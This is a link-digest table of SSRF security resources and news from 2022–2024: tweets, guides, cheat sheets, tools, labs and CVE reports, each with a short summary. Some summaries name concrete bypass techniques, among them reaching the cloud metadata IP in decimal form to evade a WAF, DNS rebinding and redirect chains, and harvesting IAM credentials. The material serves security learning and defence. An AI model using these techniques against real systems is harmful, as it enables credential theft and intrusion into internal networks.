| 2024-09-06 2024 | Introducing the URL validation bypass cheat sheet beginner 2 min read | Cheatsheet consolidating known URL validation bypass techniques, addressing vulnerabilities like SSRF, CORS misconfigurations, and open redirection. It helps generate wordlists by leveraging ambiguous URLs to exploit parsing discrepancies and bypass validation, supporting various string encodings and IP address formats including octal, hexadecimal, and binary. The resource also includes payloads that exploit Unicode string normalization and multiline string bypasses against regular expressions, with payloads available on GitHub for community contributions. → portswigger.net |
| 2024-09-06 2024 | DanaEpp: Check out this article to learn how to find and exploit server-side request forgery (SSRF) vulnerabilities in an API. #apihacking #ssrf intermediate | The content shared by DanaEpp discusses how to identify and exploit server-side request forgery (SSRF) vulnerabilities in an API. The article provides insights into the process of finding and exploiting SSRF vulnerabilities, offering valuable information for those interested in API hacking and security. DanaEpp's tweet includes hashtags #apihacking and #ssrf, directing readers to the article for further details on this topic. |
| 2024-09-05 2024 | URL validation bypass cheat sheet - 2024 Edition | Web Security Academy intermediate | This cheat sheet contains payloads for bypassing URL validation. These wordlists are useful for attacks such as server-side request forgery, CORS ... → portswigger.net |
| 2024-09-04 2024 | edgescan: Are you ready to protect against Server-Side Request Forgery #SSRF attacks? Learn from real-world incidents including the Capital One data breach and discover practical mitigation strategies. Make sure your applications are not susceptible to SSRF beginner | Learn how to defend against Server-Side Request Forgery (SSRF) attacks by understanding real-world incidents like the Capital One data breach. Discover practical mitigation strategies to ensure your applications are not vulnerable to SSRF. Stay informed and protect your systems from potential security threats. |
| 2024-09-04 2024 | apollocourtage: #bugbounty #bugbountytips #bugbountytip #hackerone #bugcrowd #bounty #hacker #vulnerability #ssrf #vdp #security #securityresearch #bughunter #researcher #pentester #pentesting #cybersecurity #VAPT news | The content shared by apollocourtage on Twitter includes hashtags related to bug bounty, cybersecurity, hacker platforms, vulnerabilities, and security research. The post seems to focus on bug bounty tips, hacker platforms like HackerOne and Bugcrowd, various security terms like SSRF and VDP, as well as roles such as bug hunter, researcher, and pentester. The link provided likely leads to more information on these topics. |
| 2024-09-04 2024 | @SandroBruscino: Learn how attackers bypass URL validation in SSRF attacks! PortSwigger's latest cheat sheet reveals key techniques. "Understanding these flaws is critical for defending web apps." #CyberSecurity #SSRF #WebSecurity intermediate | The content discusses how attackers bypass URL validation in SSRF attacks, with PortSwigger's cheat sheet revealing key techniques. Understanding these flaws is crucial for defending web apps. The post emphasizes the importance of cybersecurity, SSRF, and web security. Sandro Bruscino's tweet highlights the significance of recognizing and preventing vulnerabilities in web applications to enhance cybersecurity measures. |
| 2024-09-03 2024 | @onewriteup: Advanced SSRF Security Strategies in 2024 #CyberSecurity #ssrf #BugBounty #ethicalhacking #bugbountytips advanced | The content discusses advanced Server-Side Request Forgery (SSRF) security strategies in 2024, focusing on cybersecurity, bug bounty programs, and ethical hacking. The tweet provides insights and tips related to SSRF vulnerabilities and how to address them effectively. It aims to enhance awareness and understanding of SSRF risks and mitigation techniques within the cybersecurity community. |
| 2024-09-01 2024 | Jeffrey_Mark12: This regex just found me another #0day vulnerability of #SSRF in an open source project /await fetch\(.\$/ #BugBounty #bugbountytips #ethicalhacking #Hacking advanced | Jeffrey_Mark12 discovered a #0day vulnerability related to Server-Side Request Forgery (SSRF) using a regex in an open source project. The regex pattern used was /await fetch\(.*\`$/. This finding was shared on Twitter with hashtags like #BugBounty, #bugbountytips, #ethicalhacking, and #Hacking. The tweet can be found at the link: https://twitter.com/Jeffrey_Mark12/status/1830302403905687855. |
| 2024-09-01 2024 | @zapstiko: Read From SSRF to RFI: Exploiting a Vulnerability to Gain Remote Code Execution by Muhammad Qasim on Medium: #bugbountytips #bugbounty #SSRF #RCE intermediate | The content discusses an article titled "From SSRF to RFI: Exploiting a Vulnerability to Gain Remote Code Execution" by Muhammad Qasim on Medium. It covers insights on exploiting a vulnerability to achieve Remote Code Execution (RCE) through Server-Side Request Forgery (SSRF) and Remote File Inclusion (RFI). The post is related to bug bounty tips and highlights the importance of understanding and mitigating these security risks. The link provided leads to the original article on Medium. |
| 2024-08-31 2024 | @KonwarAbhi98099: Small Bug Tip Most of the injection related vulnerabilities have a unique category called "blind" All are searching for the classic ones. Few hunting for Blind Blind SQLi Blind XSS Blind SSRF #bugbountytips #bugbounty #vulnerability #rxss #xss #sqli #ssrf intermediate | The content discusses a bug tip related to injection vulnerabilities, highlighting the unique category of "blind" vulnerabilities. It mentions that many focus on classic vulnerabilities, while only a few are hunting for blind SQLi, XSS, and SSRF vulnerabilities. The post includes hashtags related to bug bounty tips, vulnerability types, and specific vulnerabilities like XSS, SQLi, and SSRF. The content is shared on Twitter by user @KonwarAbhi98099. |
| 2024-08-31 2024 | Tenable finds critical flaw in Microsofts Copilot Studio news | Tenable discovered a critical flaw in Microsoft's Copilot Studio. The vulnerability poses a significant risk and requires immediate attention. Further details about the nature of the flaw and potential impacts are not provided in the summary. |
| 2024-08-31 2024 | SSRFUtility - SSRF Exploitation Tool intermediate Bug Bounty | A tool to help you exploit SSRF vulnerabilities and get these bounties! |
| 2024-08-30 2024 | @cyb3rshi3ld: Q: In cybersecurity what does a Server-Side Request Forgery (SSRF) attack seek to exploit? A) Misconfigured firewalls B) Weak password policies C) Remote server vulnerabilities D) Validation of server-side requests #cybersecurity #infosec #SSRF #hacking beginner | A Server-Side Request Forgery (SSRF) attack exploits remote server vulnerabilities by manipulating server-side requests. It does not target misconfigured firewalls or weak password policies. This type of attack is a concern in cybersecurity and hacking. |
| 2024-08-29 2024 | @iototsecnews: Microsoft Copilot Studio の脆弱性 CVE-2024-38206深刻な情報漏洩を修正 #AIML #Cloud #Copilot #Microsoft #SSRF #Tenable #Vulnerability news | The content discusses a vulnerability (CVE-2024-38206) in Microsoft Copilot Studio that has been fixed to prevent serious information leakage. The issue was related to SSRF (Server-Side Request Forgery). The post highlights the importance of addressing vulnerabilities promptly to prevent data breaches. The hashtags #AIML, #Cloud, #Copilot, #Microsoft, #SSRF, #Tenable, and #Vulnerability are used to categorize the content. |
| 2024-08-28 2024 | Mind-Maps/SSRF - Hackerscroll at master · imran-parray/Mind-Maps beginner | Mind-Maps of Several Things. Contribute to imran-parray/Mind-Maps development by creating an account on GitHub. |
| 2024-08-27 2024 | DailyDarkWeb: Web Attacks (SSRF) #cybersecurity #infosec #cyberattack #web #ssrf beginner | The content refers to DailyDarkWeb discussing Web Attacks, specifically Server-Side Request Forgery (SSRF). The post is related to cybersecurity, infosec, cyberattacks, and web security, highlighting the importance of protecting against SSRF attacks. The link provided leads to the tweet on Twitter for more information. |
| 2024-08-26 2024 | @davidwillisowen: SSRF in Microsoft Copilot! #ssrf #tenable #copilot #bugbounty news | The tweet by @davidwillisowen highlights a Server-Side Request Forgery (SSRF) vulnerability found in Microsoft Copilot, a tool developed by Microsoft. This vulnerability could potentially be exploited by attackers. The tweet mentions the bug bounty program and includes relevant hashtags like #ssrf, #tenable, #copilot, and #bugbounty. For more details, refer to the original tweet at the provided link. |
| 2024-08-25 2024 | @smugnier: [#Infosec][#Microsoft] L'exploitation de Microsoft #CopilotStudio permet d'accéder à des #données sensibles du #cloud. "Un bug #SSRF dans l'outil de création de #Copilot personnalisée a potentiellement exposé des informations critiques" news | Exploiting Microsoft CopilotStudio allowed access to sensitive cloud data due to a SSRF bug in the custom Copilot creation tool. This vulnerability potentially exposed critical information. The tweet highlights the security issue and its implications. |
| 2024-08-24 2024 | chux13786509: This regex just found me another #0day vulnerability of #SSRF in an open source project /await fetch\(.\$/ #BugBounty #bugbountytips #ethicalhacking #Hacking intermediate | A user named chux13786509 discovered a #0day vulnerability related to Server-Side Request Forgery (#SSRF) in an open source project using a specific regex pattern. The vulnerability was found with the regex /await fetch\(.*\`$/ and was shared on Twitter with hashtags #BugBounty, #bugbountytips, #ethicalhacking, and #Hacking. |
| 2024-08-24 2024 | @CONSEJOSIAC: Un error de SSRF en Microsoft #Copilot Studio permitió a los investigadores acceder a información sensible en la nube. La ciberseguridad nunca fue tan crucial! #Ciberseguridad #SSRF news | A SSRF error in Microsoft #Copilot Studio allowed researchers to access sensitive cloud information, highlighting the critical importance of cybersecurity. #Cybersecurity #SSRF. |
| 2024-08-23 2024 | @Horizon3ai: From @Horizon3Attack: Multiple new #SSRF vulnerabilities leading to NTLMv2 hash disclosure in three of the most popular #Python frameworks out there: Gradio by Hugging Face Jupyter Server and Streamlit from Snowflake. Get all of the details on these CVEs at news | Multiple new SSRF vulnerabilities have been discovered in popular Python frameworks Gradio by Hugging Face, Jupyter Server, and Streamlit from Snowflake, leading to NTLMv2 hash disclosure. Details on these CVEs are available at the provided link. |
| 2024-08-22 2024 | veronicabp_: Rastreada por #Microsoft como CVE-2024-38206 la vulnerabilidad permite a un atacante autenticado eludir la protección #SSRF en Microsoft Copilot Studio para filtrar información sensible basada en la nube news | The tweet by veronicabp_ discusses a vulnerability tracked by Microsoft as CVE-2024-38206. This flaw allows an authenticated attacker to bypass SSRF protection in Microsoft Copilot Studio, enabling them to extract sensitive cloud-based information. The vulnerability poses a risk to the security of the affected software. |
| 2024-08-22 2024 | @killmongar1996: Exciting News: New Blog Post Alert! Im thrilled to announce the release of my latest article Finding SSRF by Full Automation! Dive in here: #SSRF #Automation #InfoSec #Security #BugBounty #PenTesting #EthicalHacking #Vulnerability intermediate | @killmongar1996 announced a new blog post titled "Finding SSRF by Full Automation" focusing on cybersecurity topics like SSRF, automation, InfoSec, bug bounty, pen testing, ethical hacking, and vulnerability. The post aims to provide insights and strategies related to these areas. Interested readers can access the full article through the provided link. |
| 2024-08-22 2024 | lsobiraj: Microsoft Copilot Studio: Datenleck durch SSRF-Schwachstelle möglich #Datenschutz #ITSicherheit #CopilotStudio #CVE202438206 #Microsoft #Sicherheitslücke #SSRF #SSRFSchwachstelle news | Microsoft Copilot Studio is vulnerable to a data leak due to a Server-Side Request Forgery (SSRF) weakness. This poses a risk to data privacy and IT security. The vulnerability is identified as CVE-202438206. The issue highlights a security flaw in Copilot Studio, potentially exposing sensitive information. The tweet by lsobiraj raises awareness about this SSRF vulnerability in Microsoft's Copilot Studio, emphasizing the importance of addressing such security gaps promptly. |
| 2024-08-22 2024 | tarnkappe_info: Microsoft Copilot Studio: Datenleck durch SSRF-Schwachstelle möglich #Datenschutz #ITSicherheit #CopilotStudio #CVE202438206 #Microsoft #Sicherheitslücke #SSRF #SSRFSchwachstelle news | The content discusses a potential data leak in Microsoft Copilot Studio due to a Server-Side Request Forgery (SSRF) vulnerability. This vulnerability could lead to unauthorized access to sensitive information. The post highlights the importance of data protection and IT security in addressing this issue. The specific Common Vulnerabilities and Exposures (CVE) identifier for this vulnerability is mentioned as CVE-202438206. The tweet from tarnkappe_info provides further details on this security flaw. |
| 2024-08-22 2024 | @FindSecCyber: #Microsoft patched a critical SSRF flaw (CVE-2024-38206) in Copilot Studio protecting sensitive data. Secure your cloud now! How the Exploit Works: #CyberSecurity #CloudSecurity #SSRF #CopilotStudio #Canada #CanadaCyberAwareness news | Microsoft has fixed a critical SSRF vulnerability (CVE-2024-38206) in Copilot Studio to safeguard sensitive data. The post emphasizes securing cloud environments. The exploit details are related to cybersecurity, cloud security, SSRF, Copilot Studio, and Canadian cyber awareness. The tweet encourages taking action to protect cloud systems. |
| 2024-08-22 2024 | manoj29191: Check out my latest article: Microsoft Patches Critical Copilot Studio Vulnerability Exposing Sensitive Data via @LinkedIn #Cybersecurity #Vulnerability #Microsoft #CVE202438206 #SSRF #InformationDisclosure #MicrosoftCopilot #SecurityFlaw news | The content highlights an article by manoj29191 discussing Microsoft's patching of a critical Copilot Studio vulnerability that exposed sensitive data. The vulnerability, identified by CVE202438206, involved SSRF and information disclosure, posing a security flaw. The article emphasizes cybersecurity concerns and the importance of addressing vulnerabilities promptly. The link provided leads to the original post on Twitter for further details. |
| 2024-08-22 2024 | foxbook: 専門家がMicrosoft Copilot Studioの重大な情報漏洩の欠陥を公表 Experts disclosed a critical information-disclosure flaw in Microsoft Copilot Studio #SecurityAffairs (Aug 21) #セキュリティ脆弱性 #Microsoft #SSRF #情報漏洩 #クラウドセキュリティ news | Experts revealed a serious information-disclosure flaw in Microsoft Copilot Studio, impacting security. The vulnerability was disclosed on August 21, highlighting concerns about security risks related to SSRF and cloud security. The flaw was shared on foxbook's Twitter account, emphasizing the importance of addressing such vulnerabilities promptly to safeguard data and systems. |
| 2024-08-20 2024 | @Cyberwald_talks: #Microsoft #SSRF #CoPilot_Studio SSRFing the Web with the help of Copilot Studio intermediate | The content discusses SSRF (Server-Side Request Forgery) in the context of Microsoft's CoPilot Studio. It highlights how SSRF can be utilized with the assistance of Copilot Studio to manipulate requests sent from a server, potentially leading to security vulnerabilities. The link provided likely offers more details on this topic. |
| 2024-08-18 2024 | akanbi_kunle: Happy Sunday Dive deep into SSRF & LFI vulnerabilities! Utilizing Wayback Machine & Waybackurls to expose secrets. Join forces & let's hunt! #BugBountyHunter #SSRF #LFI #Partner intermediate | The content shared by akanbi_kunle on Twitter encourages diving into SSRF & LFI vulnerabilities using tools like Wayback Machine & Waybackurls to uncover secrets. The post invites collaboration for hunting bugs and mentions relevant hashtags like #BugBountyHunter, #SSRF, #LFI, and #Partner. The focus is on exploring security vulnerabilities and working together to address them. |
| 2024-08-16 2024 | Rajan22m: I completed the Web Security Academy lab: SSRF with blacklist-based input filter @WebSecAcademy #portswigger #websecurity #lab #hacking #ethicalhacker #ethicalhacking #bug #bugbountytips #ssrf #server intermediate | Rajan22m completed the Web Security Academy lab on SSRF with a blacklist-based input filter. The post includes hashtags related to web security, hacking, ethical hacking, bug bounty tips, SSRF, and servers. The completion of this lab likely signifies Rajan22m's progress and expertise in web security and ethical hacking. |
| 2024-08-15 2024 | @Sursanjha: Server-Side Request Forgery (SSRF) is a web security vulnerability that allows an attacker to make requests from the server-side potentially leading to unauthorized actions or information disclosure. #SSRF #OWASP #SecurityResearch beginner | The content highlights Server-Side Request Forgery (SSRF) as a web security vulnerability enabling attackers to make requests from the server-side, risking unauthorized actions or information disclosure. The tweet emphasizes the importance of understanding and addressing SSRF to enhance web security. It references OWASP and Security Research as relevant areas for further exploration. |
| 2024-08-15 2024 | @AbhijeetKumaw10: Day 12: Mastering Server SIde Request Forgery Vulnerability Uncover hidden SSRF Vulnerability flaws with advanced payloads and Defense bypass techniques. Check out the full blog here: #BugBounty #WebSecurity #30daychallenge #ssrf intermediate | The content discusses mastering Server-Side Request Forgery (SSRF) vulnerability, revealing hidden flaws using advanced payloads and defense bypass techniques. The author shares insights in a blog post as part of a 30-day challenge, focusing on Bug Bounty, Web Security, and SSRF. The tweet provides a link to the full blog post for further details. |
| 2024-08-14 2024 | Critical SAP Auth Bypass and SSRF Flaws Fixed Update Now news | Critical authentication bypass and Server-Side Request Forgery (SSRF) vulnerabilities in SAP have been addressed. Users are advised to update their systems immediately to mitigate the risks associated with these flaws. It is crucial to apply the fixes promptly to prevent potential exploitation by malicious actors. |
| 2024-08-14 2024 | basu_banakar: Thread On: Testing for Blind/Non-Blind SSRFs using redirection in integrations where there are some filters. #bugbountytips #BugBounty #ssrf #bugbountytips 1. Hit the integration by using burp collaborator by using random credentials. intermediate | The content discusses testing for Blind/Non-Blind SSRFs using redirection in integrations with filters. The suggestion is to test by hitting the integration with Burp collaborator using random credentials. The post is shared on Twitter by basu_banakar. The focus is on bug bounty tips related to SSRF vulnerabilities. |
| 2024-08-14 2024 | it4chis3c: Day 12: Mastering Server SIde Request Forgery Vulnerability Uncover hidden SSRF Vulnerability flaws with advanced payloads and Defense bypass techniques. Check out the full blog here: #BugBounty #WebSecurity #30daychallenge #ssrf intermediate | The content discusses mastering Server-Side Request Forgery (SSRF) vulnerability, revealing hidden flaws using advanced payloads and defense bypass techniques. The blog provides insights into uncovering SSRF vulnerabilities. It is part of a 30-day challenge on Bug Bounty and Web Security. The full blog can be accessed through the provided link. |
| 2024-08-14 2024 | Checkmarx: #CVE-2024-39338: Axios critical vulnerability alert! Versions 1.3.2 up to 1.7.3 allow Server-Side Request Forgery via URL manipulation. SSRF could lead to internal system access or data exfiltration. #SSRF #AppSec news | The content warns about a critical vulnerability in Axios versions 1.3.2 to 1.7.3, allowing Server-Side Request Forgery (SSRF) through URL manipulation. This SSRF exploit could result in unauthorized access to internal systems or data theft. Checkmarx issued a CVE alert for this vulnerability, emphasizing the importance of addressing it promptly to prevent potential security breaches. #SSRF #AppSec. |
| 2024-08-14 2024 | Critical SSRF Vulnerability in Microsoft Azure Let Hackers Compromise Health Bot Services news 2 min read | Analysis of a critical SSRF vulnerability in Microsoft Azure Health Bot Service, discovered by Tenable Research. This vulnerability allowed attackers to bypass security filters and access internal endpoints like Azure's Internal Metadata Service (IMDS). By redirecting requests to an attacker-controlled host, they could obtain access tokens for management.azure.com, leading to unauthorized access to cross-tenant resources and potential lateral movement. Microsoft has since patched the vulnerabilities. → cybersecuritynews.com |
| 2024-08-09 2024 | @lu3ky13: learn everything about SSRF OPEN REDIRECT and #Subdomain #Takeover Server-Side Request Forgery (#SSRF) What is a Subdomain Takeover? What is open redirects Insecure Direct Object References (#IDOR) #bugbountytip #BugBounty beginner | The content discusses Server-Side Request Forgery (SSRF), Open Redirect, Subdomain Takeover, and Insecure Direct Object References (IDOR) in the context of bug bounty programs. It provides information on what SSRF, Subdomain Takeover, and Open Redirect vulnerabilities are, along with tips for bug bounty hunters. The content is shared on Twitter by the user @lu3ky13. |
| 2024-08-09 2024 | @nader_brandi: SSRF Techniques: Scenarios #SSRF #ServerSideRequestForgery #WebSecurity #AdvancedHacking #EthicalHacking #CyberSecurity #VulnerabilityResearch #SecurityTesting #AppSec #PenTesting #ExploitDev #NetworkSecurity #InfoSec #BugBountyTips #VulnDiscovery #BugBounty intermediate | The content shared by @nader_brandi on Twitter discusses SSRF (Server-Side Request Forgery) techniques through various scenarios. The post covers topics related to web security, ethical hacking, cyber security, vulnerability research, security testing, application security, penetration testing, exploit development, network security, information security, bug bounty tips, vulnerability discovery, and bug bounty programs. The tweet provides a link for further details. |
| 2024-08-06 2024 | @thezigzag3: #Bitdefender #Vulnerability #Let #Attackers #Trigger #SSRF #attacks news | The tweet by @thezigzag3 highlights a vulnerability in Bitdefender that allows attackers to trigger Server-Side Request Forgery (SSRF) attacks. This vulnerability could potentially be exploited by malicious actors to manipulate server requests and access sensitive information. It is crucial for users of Bitdefender to be aware of this issue and take necessary precautions to protect their systems from such attacks. |
| 2024-08-05 2024 | @coderadipv: Just published a new blog on Medium about Server-Side Request Forgery (SSRF) vulnerabilities! Dive in to learn how SSRF works and ways to protect against it. Check it out! #CyberSecurity #SSRF #Medium #infosecurity #blogging beginner | @coderadipv shared a new blog on Medium about Server-Side Request Forgery (SSRF) vulnerabilities. The post explains how SSRF works and offers tips on protecting against it. The focus is on cybersecurity, SSRF, and information security. The tweet includes a link to the Medium blog post for those interested in learning more. |
| 2024-08-05 2024 | @coderadipv: Just completed the SSRF room on @RealTryHackMe ! Learning about Server-Side Request Forgery was super insightful. #cybersecurity #TryHackMe #SSRF #learning #infosec beginner | @coderadipv completed the SSRF room on @RealTryHackMe, finding Server-Side Request Forgery insights valuable for cybersecurity. The tweet highlights learning experiences in the cybersecurity field. #SSRF #cybersecurity #TryHackMe #infosec |
| 2024-08-02 2024 | SSRF: A complete guide to exploiting advanced SSRF vulnerabilities beginner 8 min read | Guide detailing Server-Side Request Forgery (SSRF) vulnerabilities, covering identification techniques for features like profile image loaders and webhook services. It explains exploiting basic SSRFs, bypassing host and protocol whitelists with methods like DNS rebinding and redirect chains, and leveraging SSRFs within PDF generators. The guide also touches upon second-order SSRFs and mentions using `PayloadsAllTheThings` for advanced bypasses. |
| 2023-12-20 2023 | XSSRF : The Matrimony of XSS and SSRF. intermediate XSS | The content discusses the concept of XSSRF, which is a combination of Cross-Site Scripting (XSS) and Server-Side Request Forgery (SSRF). This fusion poses a significant security threat as it allows attackers to manipulate client-side scripts to make unauthorized requests to the server. By exploiting vulnerabilities in web applications, attackers can bypass security measures and potentially gain access to sensitive information or perform malicious actions. It is crucial for developers to be aware of XSSRF attacks and implement proper security measures to prevent such exploits. |
| 2023-11-14 2023 | Breaking Down SSRF on PDF Generation: A Pentesting Guide intermediate | The content discusses SSRF (Server-Side Request Forgery) vulnerabilities in PDF generation, providing a pentesting guide. It likely delves into how SSRF can be exploited during PDF creation processes, highlighting potential security risks and offering insights on how to test for and mitigate these vulnerabilities. The guide may include techniques for identifying and exploiting SSRF issues, as well as recommendations for securing PDF generation processes against such attacks. Overall, it aims to educate readers on the importance of addressing SSRF vulnerabilities in PDF generation to enhance cybersecurity measures. |
| 2023-11-07 2023 | 11.2 Lab: Exploiting XXE to perform SSRF attacks | 2023 intermediate XXE | The content discusses a lab session focused on exploiting XML External Entity (XXE) vulnerabilities to conduct Server-Side Request Forgery (SSRF) attacks. This practical exercise likely involves demonstrating how attackers can manipulate XML input to access internal resources and potentially launch SSRF attacks. The lab aims to provide hands-on experience in understanding and mitigating these security risks. Participants will likely gain insights into the exploitation of XXE vulnerabilities and the associated SSRF attack vectors. The session may offer valuable insights into securing applications against such threats. → cyberw1ng.medium.com |
| 2023-11-01 2023 | What are SSRF Attacks and How They Work to Disrupting Email Security beginner 6 min read | Analysis of Server-Side Request Forgery (SSRF) attacks, a significant threat listed in the OWASP Top 10 (A10:2021), details how attackers forge server requests to access internal resources, potentially stealing data or deploying malware. The attack vector often targets unpatched vulnerabilities in applications that fetch remote resources without proper URL validation, exploiting variants like special character injection, localhost queries, and various URL schemas. Specific threats include exploits targeting Java RMI Services and VMware Workspace ONE Access (CVE-2021-22056). Mitigation strategies involve whitelisting/blacklisting, response verification, discarding unused URL schemas, and enabling internal service authentication. |
| 2023-11-01 2023 | Latest server-side request forgery (SSRF) news news | The content is about the latest news related to server-side request forgery (SSRF). It appears to be a link to more detailed information on this topic, possibly discussing recent developments, trends, or incidents related to SSRF. The content seems to provide updates or insights on SSRF issues, but without further details, it is unclear what specific information is being shared. → portswigger.net |
| 2023-10-07 2023 | Exploiting Non-Cloud SSRF for More Fun & Profit advanced | The content discusses exploiting Server-Side Request Forgery (SSRF) vulnerabilities outside of cloud environments for increased enjoyment and financial gain. It likely delves into techniques, strategies, and potential risks associated with leveraging SSRF vulnerabilities in non-cloud settings. The focus seems to be on exploring the possibilities and implications of SSRF exploitation beyond traditional cloud platforms. |
| 2023-04-01 2023 | Fun with SSRF - Turning the Kubernetes API Server into a port scanner intermediate 3 min read | Library for port scanning via Kubernetes API Server Server-Side Request Forgery (SSRF). This technique leverages standard Kubernetes functionality, specifically Validating Admission Webhooks, to make the API server initiate network requests. By creating a webhook configured to target a specific host and port, and then attempting to create a resource that triggers the webhook, attackers can interpret the API server's verbose error messages to infer port status (open, closed, or unreachable) from the perspective of the Kubernetes API server. A proof-of-concept tool is provided to automate this process. |
| 2023-03-29 2023 | Server Side Request Forgery | Mastering Modern Web Penetration Testing beginner | https://ift.tt/nYHI9mN |
| 2023-02-24 2023 | Ssrf beginner | The content provided is a link to a webpage related to SSRF (Server-Side Request Forgery), a type of web vulnerability where an attacker can manipulate a web application to make unauthorized requests on behalf of the server. SSRF can be exploited to access internal systems, perform port scanning, or launch attacks on other servers. It is crucial for developers to be aware of SSRF risks and implement security measures to prevent such attacks. |
| 2023-02-17 2023 | https://hacklido.com/blog/294-ssrf-that-allowed-us-to-access-whole-infra-web-services-and-many-more intermediate 3 min read | Writeup detailing a successful SSRF vulnerability exploitation on a large user-base application. The author leveraged Burp Collaborator and AWS metadata URL (169.254.169.254), bypassing Cloudflare WAF by converting the IP to its decimal representation (2852039166). This allowed access to sensitive user data and IAM credentials, enabling reconnaissance of internal AWS EC2 instances and subsequently brute-forcing over 200 internal web services. |
| 2023-02-14 2023 | Server-Side Request Forgery (SSRF) Attacks: The Ultimate Guide beginner 9 min read | Guide to understanding and preventing Server-Side Request Forgery (SSRF) attacks, which can compromise sensitive data by tricking servers into making unauthorized requests. This resource details how SSRF works, its various risks including data leakage, port scanning, denial of service, and remote code execution, and distinguishes it from CSRF. It also covers two types of SSRF: non-blind, where attackers exploit visible server responses, and blind SSRF, used for unauthorized actions on the back end. |
| 2023-02-14 2023 | How To: Server-Side Request Forgery (SSRF) beginner 9 min read | Guide to Server-Side Request Forgery (SSRF) vulnerabilities, detailing how attackers can control server-initiated requests. The entry explains the impact of SSRF, testing methodologies using tools like netcat, and techniques to bypass common mitigations such as IP blacklisting and whitelisting, including exploiting HTTP redirects and DNS records. It highlights common attack vectors like webhooks and PDF generators. → hackerone.com |
| 2023-02-14 2023 | Beginner Guide To Exploit Server Side Request Forgery (SSRF) Vulnerability beginner | The content is a beginner's guide on exploiting Server Side Request Forgery (SSRF) vulnerabilities. SSRF is a type of security vulnerability that allows an attacker to make requests on behalf of the server. The guide likely covers the basics of SSRF, how to identify and exploit these vulnerabilities, and potentially includes tips on prevention and mitigation strategies. It aims to educate readers on understanding and exploiting SSRF vulnerabilities for security testing and awareness purposes. |
| 2023-01-29 2023 | SSRFire - an automated SSRF finder beginner | SSRFire is an automated tool designed for finding Server-Side Request Forgery (SSRF) vulnerabilities. It helps identify potential security weaknesses in web applications that could be exploited by attackers. By automating the process of detecting SSRF flaws, SSRFire aims to enhance the security of web applications and prevent unauthorized access to sensitive data or resources. The tool can be a valuable asset for security professionals and developers looking to proactively address SSRF vulnerabilities in their applications. |
| 2023-01-23 2023 | Server-Side Request Forgery (SSRF) | Common Attacks & Risks | Imperva beginner 7 min read | Guide to Server-Side Request Forgery (SSRF) attacks, detailing how attackers leverage application functionality to access internal data and services. It covers risks like data exposure (e.g., Amazon EC2 instance credentials via 169.254.169.254), reconnaissance of internal networks, port scans (Cross-Site Port Attacks), denial of service, and remote code execution, particularly against services like Redis. The guide differentiates between server-side and back-end SSRF, emphasizing that while blacklists are often ineffective, whitelisting IP addresses/DNS names and disabling unused URL schemas are key mitigation strategies. → imperva.com |
| 2023-01-23 2023 | What is SSRF (Server-side request forgery)? Tutorial & Examples | Web Security Academy beginner 7 min read | Tutorial on Server-Side Request Forgery (SSRF) detailing how attackers can manipulate server applications to make unintended requests. This vulnerability allows access to internal services, sensitive data like authorization credentials, or even arbitrary command execution. The tutorial covers common SSRF attacks targeting the server's loopback interface (e.g., using `127.0.0.1` or `localhost`) and other back-end systems with non-routable IP addresses. It also demonstrates techniques for circumventing blacklist and whitelist-based SSRF defenses, including alternative IP representations, domain registration, URL encoding, and exploiting URL parsing features like credentials, fragments, and DNS hierarchy. → portswigger.net |
| 2022-10-13 2022 | Hey man if I talk about the impact it is comparatively low than that of normal ssrf because of its intermediate | The content discusses the impact of a specific type of vulnerability called Server-Side Request Forgery (SSRF), noting that its impact is relatively low compared to a typical SSRF. The post seems to imply that this particular SSRF vulnerability may have less severe consequences than others. |
| 2022-10-13 2022 | Server-Side Request Forgery (SSRF)- PortSwigger Labs beginner | The content discusses Server-Side Request Forgery (SSRF) as presented by PortSwigger Labs. SSRF is a vulnerability that allows attackers to manipulate a server into making requests on their behalf. This can lead to unauthorized access to internal systems, data theft, or server exploitation. Understanding SSRF is crucial for developers and security professionals to prevent such attacks and secure their systems. The link provided likely offers further details or resources on SSRF from PortSwigger Labs. |
| 2022-10-13 2022 | Lets Understand SSRF vulnerability beginner | The content discusses the SSRF (Server-Side Request Forgery) vulnerability, which is a type of security issue where an attacker can manipulate a web application to make unauthorized requests on behalf of the server. SSRF can lead to data breaches, server exploitation, and even full system compromise. Understanding SSRF vulnerabilities is crucial for developers and security professionals to prevent such attacks and protect sensitive data. It is important to implement proper security measures and validate user input to mitigate the risks associated with SSRF vulnerabilities. |
| 2022-10-13 2022 | Exploiting XXE for SSRF intermediate | The content discusses exploiting XML External Entity (XXE) vulnerabilities to achieve Server-Side Request Forgery (SSRF) attacks. By manipulating XML input, attackers can trigger the server to make unintended requests to internal resources, potentially leading to data leakage or unauthorized access. This technique leverages the server's ability to parse XML data and can be used to bypass security measures. Understanding and mitigating XXE vulnerabilities is crucial to prevent SSRF attacks and protect sensitive information. |
| 2022-10-13 2022 | Top 25 Server-Side Request Forgery (SSRF) Bug Bounty Reports beginner | The content discusses the top 25 Server-Side Request Forgery (SSRF) Bug Bounty Reports. It likely highlights significant instances where SSRF vulnerabilities were discovered and reported through bug bounty programs. SSRF is a type of security vulnerability that allows attackers to manipulate server requests, potentially leading to unauthorized access or data leakage. The bug bounty reports likely showcase the impact and severity of SSRF vulnerabilities in various systems and emphasize the importance of addressing such issues to enhance cybersecurity. → corneacristian.medium.com |
| 2022-10-13 2022 | AWS internal metadata accessed through SSRF by Chaining an Open Redirect bug advanced | The content discusses a security vulnerability where AWS internal metadata was accessed through Server-Side Request Forgery (SSRF) by exploiting an Open Redirect bug. This vulnerability allowed unauthorized access to sensitive AWS information. The method involved chaining the SSRF vulnerability with the Open Redirect bug to gain access to internal metadata. This highlights the importance of addressing and fixing such vulnerabilities to prevent unauthorized access to critical information stored on AWS servers. |
| 2022-10-13 2022 | SSRF payloads intermediate | The content mentions SSRF payloads, which are used in exploiting Server-Side Request Forgery vulnerabilities. These payloads can be utilized to manipulate servers into making requests to unintended destinations, potentially leading to data breaches or unauthorized access. It is crucial for developers to be aware of SSRF vulnerabilities and implement proper security measures to prevent such attacks. |
| 2022-10-13 2022 | Escalating SSRF to Accessing all user PII information by aws metadata intermediate | The content discusses a security vulnerability known as Server-Side Request Forgery (SSRF) being exploited to access all user Personally Identifiable Information (PII) through AWS metadata. This escalation highlights the potential risks associated with SSRF attacks and the importance of securing AWS configurations to prevent unauthorized access to sensitive data. The content likely provides insights on how attackers can leverage SSRF vulnerabilities to gain access to valuable information stored within AWS environments, emphasizing the need for robust security measures to protect against such threats. |
